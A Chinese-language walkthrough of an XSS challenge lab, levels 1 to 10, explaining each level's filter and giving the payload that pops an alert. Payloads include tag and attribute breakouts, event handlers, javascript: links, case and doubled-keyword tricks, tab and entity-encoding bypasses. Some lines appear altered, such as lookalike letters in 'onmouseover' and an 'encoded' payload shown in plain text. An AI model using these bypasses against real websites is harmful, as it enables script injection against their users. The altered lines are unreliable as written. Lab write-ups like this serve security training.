level 1
输入点在url中,反射型
name=<script>alert(1)</script>
level 2
搜索型,查看元素可以看到输入在input标签内,需要闭合input标签
Payload: “><script>alert(1)</script><”
level 3
输入点在input标签的value属性里面,尝试闭合属性,基于事件弹窗 ,双引号失败,试试 单引号
所以输入'onclick%3D'alert(1)即可
level 4
输入点也是在value属性里面,这次用双引号闭合属性
Payload:"onclick%3D'alert(1)
level 5
on替换成了o_n script替换成了sc_ript
payload:
1 "> <a href="javascript:%61lert(1)">click me</a> //
2 "> <a href="javascript:alert('xss')">111</a> //
3 "> <a href="javascript:alert(/1/)">axxx</a> //
level 6
测试的主要是大小写问题,可以用大小写绕过技术
"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> /
level 7
这一关是针对script和on的过滤,我们可以构造来绕过
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //
level 8
分析:这次代码先是将字符转换为小写,然后过滤特殊字符和双引号,最后又怕有漏网之鱼,加了一个转义函数输出,所以按常规方法绕几乎不可能成功,代码处的添加友情链接是 突破点,在input框中输入字符提交之后,在友情链接处会载入一个拼接后的a标签,因为 javascript被过滤对其进行编码绕过再点击友情链接即可。
payload为:javascript:alert(/xss/)
最后用html实体编码绕过
javascript:alert(1)
level 9
script被过滤,添加的url有验证合法性,没有带http://内则不合法,可以放在注释后面,通过tab制表符(%09)绕过对script的过滤
javascr%09ipt:alert(1)//http://
value=""的输出点无法利用,标签的输出点使用html实体编码绕过,然后加上前提条件:在输入的字符中含有http://
javascript:alert('http://')
level 10
分析:这道题有俩个输出的地方,第一个被实体化过滤,第二个是隐藏表单的"t_sort"参数 即’$str33’,过滤了尖括号,那么就在input标签中触发xss即可,可以用onmouseover或者 是onclick,需要将隐藏表单显示出来触发:
payload为:url后加 &t_sort=xss" οnmοuseοver=alert(/xss/) type="text"
payload为:url后加 &t_sort=xss" onclick=alert(/xss/) type="text"